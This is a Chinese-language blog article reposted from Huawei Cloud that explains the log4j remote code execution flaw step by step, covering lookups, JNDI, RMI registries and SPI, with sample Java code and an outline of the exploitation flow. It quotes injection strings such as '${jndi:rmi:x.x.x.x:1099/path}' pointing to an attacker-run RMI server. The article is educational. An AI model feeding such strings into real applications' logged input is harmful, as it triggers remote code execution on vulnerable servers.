摘要:log4j遠程代碼漏洞問題被大范圍曝光后已經有一段時間了,今天完整講清JNDI和RMI以及該漏洞的深層原因,
本文分享自華為云社區《升級過log4j,卻還沒搞懂log4j漏洞的本質?為你完整講清jndi、rmi以及該漏洞的深層原因!》,作者:breakDraw,
log4j遠程代碼漏洞問題被大范圍曝光后已經有一段時間了,
很多人只能看到一個“彈出一個計算器”的演示,于是內心想著“哦,就是執行任意代碼,啟動個計算器”,卻對這個漏洞的原理不甚了解,

而對于java開發應用不是非常深的同學來講,jndi、rmi更是很陌生的名詞,
這里會以不斷提問的方式,逐步推進這個問題的解答,一步步揭開這個漏洞的本質,并給出對這個漏洞的思考,
Q:log4j里的”${}“符號是什么?有什么用?
A:可以通過${}的方式,列印一些特殊的值到日志中,
例如${hostName}就可以列印主機名
${java:vm}列印jvm資訊
${thread:threadName}就可以列印執行緒名
當你把這個值作為日志的引數,就會列印出來這些值而非原引數名字,
可以理解為log4j的功能更強大了,不需要自己寫java代碼來列印這些資訊,直接用一個字串就能搞定這些列印,
上面這些都是要實作對應的Lookup類才能做的,即要么log4j內置,要么我們自己新增,
Q:上面這個列印本機資訊的是漏洞的原因嗎?看起來好象可以在機器里執行奇怪的命令?或者查看檔案路徑?
A:不是的,
上面這些lookup,都是事先定義好的一些loopup字符,并不能做任意的事情!而且就算你發了這些${java.vm}啥的,也只能在服務端列印和收集,你作為攻擊者,是收集不到這些資訊的
真正的原因,是因為log4j支持的${jndi:xxxx},即支持jndi進行lookup來尋找物件并列印,
Q:什么是JNDI?
A:JavaNamingandDirectoryInterface(JAVA命名和目錄介面)
簡單說就是可以通過JNDI,在java環境中用一個名字,去lookup尋找一個東西使用,
例如可以直接在自己的Java環境中配置一個資料庫連接,名字叫“java:MySqlDS”
然后別的java行程通過jndi去查找”java:MysqlDs“,接著就會得到一個資料庫連接,
這樣如果1個機器有多個行程,都要用同一個連接,完全可以修改整個java環境的jndi資料庫物件,然后其他行程就能同時生效了,
Connectionconn=null;
//Context就是jdni的類
Contextctx=newInitialContext();
//jndi關鍵方法,通過loopup找一個物件
ObjectdatasourceRef=ctx.lookup("java:MySqlDS");
//參考資料源
DataSourceds=(Datasource)datasourceRef;
conn=ds.getConnection();
......
c.close();
除了資料庫連接,他還支持loopup找dns,可以弄一個dnsContext然后尋找”sun.com“對應的dns物件
使用JNDI進行高級DNS查詢
這樣log4j里就可以通過${jndi:dns:http://huaweicloud.com}來獲取當前機器中http://huaweicloud.com對應的域名物件進行列印,來確認網路請求失敗時,是否是dns獲取有問題,
這也就是log4j為啥要引入jndi的原因,可以更方便地獲取一些可列印的物件進行日志統計,
然而,jndi還支持通過RMI/LDAP+url字串,來尋找并獲取一個遠程物件,
這個尋找遠程物件的操作,就是此次漏洞的核心問題所在,
這里只講RMI,LDAP類似,就不再論述,
Q:RMI是什么?
A:RMI,RemoteMethodInvocation,
具體含義:
- 遠程服務器實作具體的Java方法并提供介面
- 客戶端本地僅需根據介面類的定義,提供相應的引數即可呼叫遠程方法
在RMI中,實際上就是回傳了一個stub(樁)呼叫物件給客戶端,然后客戶都用這個stub物件去做遠程呼叫,
這樣客戶端就不用關心背后網路怎么寫的
甚至不用知道對方服務是什么埠或者ip
因此也不需要寫sokect的一堆方法搞半天了,也避免了總是修改訪問的url啥的,
具體程序如下:

- Server端監聽一個埠,這個埠是JVM隨機選擇的;
- Client端并不知道Server遠程物件的通信地址和埠,但是Stub中包含了這些資訊,并封裝了底層網路操作;
- Client端可以呼叫Stub上的方法;
- Stub連接到Server端監聽的通信埠并提交引數;
- 遠程Server端上執行具體的方法,并回傳結果給Stub;
- Stub回傳執行結果給Client端,從Client看來就好像是Stub在本地執行了這個方法一樣;
Q:RMI客戶端不需要關心服務端的監聽埠?那客戶端從哪里拿到stub物件呢?總不可能憑空生成吧
A:服務端那邊可以啟動一個RMI注冊中心服務RMIRegistry,埠設定為統一的1099,ip也是固定的,
然后當客戶端希望拿到某個服務例如訂單服務order的stub物件時,就用”order“這個名字到RMI注冊中心上去請求這個stub
這樣的話,客戶端只需要知道RMI注冊中心即可,不需要知道其他服務的ip、埠,非常節省管理成本,
服務端代碼長這樣:
//建立一個訂單服務通信樁
OrderServerStubstub=newOrderServerStub();
//啟動一個RMI注冊中心,埠為1099
LocateRegistry.createRegistry(1099);
//把OrderServer這個樁,注冊到rmi://0.0.0.0:1099/order這個url上
Naming.bind("rmi://0.0.0.0:1099/order",stub);
客戶端的代碼長這樣,可以看到一個loopup就把這個樁找過來了,
然后就能直接呼叫stub里的queryOrder方法查詢訂單了!
Registryregistry=LocateRegistry.getRegistry("kingx_kali_host",1099);
OrderServerStubstub=(OrderServerStub)registry.lookup("hello");
stub.queryOrder("aaa");

Q:那JNDI和RMI又是什么關系?怎么就聯系到一起了
A:上面的代碼里,可以看到RMI需要自己寫一段Java代碼執行,
如果以后你不用RMI來存這個通信物件了,而是用LDAP之類的,咋辦?難道代碼都要重新寫然后部署一份嗎?
而如果能用JNDI的方式,通過一個小小的字串,就能拿到,那就簡單了,
那么當我需要切換通信物件的獲取方式時,切換JDNI里的設定即可,
而RMI正好實作了JNDI的spi介面,以至于能支持用JNDI+字串去獲取物件

這里貼一下SPI的概念:
SPI,全稱為ServiceProviderInterface,是一種服務發現機制,它通過在ClassPath路徑下的META-INF/services檔案夾查找檔案,自動加載檔案里所定義的類,
這一機制為很多框架擴展提供了可能,比如在Dubbo、JDBC中都使用到了SPI機制
- 說人話,spi就是框架方提供一個interface介面,然后只要有人在服務的class發現路徑下寫一個實作類,就能在代碼里直接用上,
而log4j里,正好就支持用${jndi:rmi:x.x.x.x:1099/path}的方式進行RMI物件的獲取,
log4j開發者可能本意只是方便用jndi獲取各種java容器內置物件,沒想到忽略了rmi的獲取方式,
這就導致了我們的服務可能會訪問黑客部署的RMI服務,獲取到一個不可信的遠程呼叫物件,
Q:但是剛才提到,我們只會通過RMI去拿到一個stub,
stub里的內容僅僅是通過特定的ip+port去做發送,代碼是固定的
再怎么惡意的命令,也只會在RMI注冊中心即黑客的服務器上執行,怎么就在我這邊觸發了攻擊?
而且這個stub物件的class檔案在我們服務器本地并沒有,難道不會報classNotFind例外嗎?
A:某個講RMI注入的文章里這樣說道:
RMI服務端除了直接系結遠程物件之外,還可以通過References參考類來系結一個外部的遠程物件(當前名稱目錄系統之外的物件),
系結了Reference之后,服務端會先通過Referenceable.getReference()獲取系結物件的參考,并且在目錄中保存,當客戶端在lookup()查找這個遠程物件時,客戶端會獲取相應的objectfactory,最終通過factory類將reference轉換為具體的物件實體,
- 說人話,就是RMI允許客戶端的java環境中沒有這個stub物件
- RMI服務端(那個1099埠的服務)他會回傳給你一個factory(序列化傳過來),讓你呼叫這個factory做轉換,而這個可被序列化生成的factory就是問題的根本原因,
整個利用流程如下:
- 目標代碼中呼叫了InitialContext.lookup(URI),且URI為用戶可控;
- 攻擊者控制URI引數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name;
- 攻擊者RMI服務器向目標回傳一個Reference物件,Reference物件中指定某個精心構造的Factory類;
- 目標在進行lookup()操作時,會動態加載并實體化Factory類,接著呼叫factory.getObjectInstance()獲取外部遠程物件實體;
- 攻擊者可以在Factory類檔案的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果;
Q:那么log4j-core2.15版本又是怎么改的呢?
A:限定jndi使用的協議,禁止在jndi中用ldap、rmi去呼叫一些遠端的服務,
思考
說實話,這個漏洞影響之所以這么大,就是因為原理太過簡單,隨便發一段rmi注冊中心的demo和客戶端呼叫demo給別人,他就能復現,甚至用這個方式去攻擊,
為什么log4j的設計者當時沒有考慮到呢?
很大概率可能是因為jndi的spi機制擴展性太強,
也許最初,jndi只支持dns、資料庫driver等物件的命名獲取
但是后來隨著版本更新,JNDP通過SPI機制,支持了RMI、LDAP等實作,而這個是log4j開發者當時沒考慮到的,
換句話說,這是java高可擴展性和安全性的一次沖突,因此JNDI的呼叫方式,未來應該會被更加謹慎地使用了,
點擊關注,第一時間了解華為云新鮮技術~
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/389074.html
標籤:其他
上一篇:【淺記CTF(一)】復習周來襲
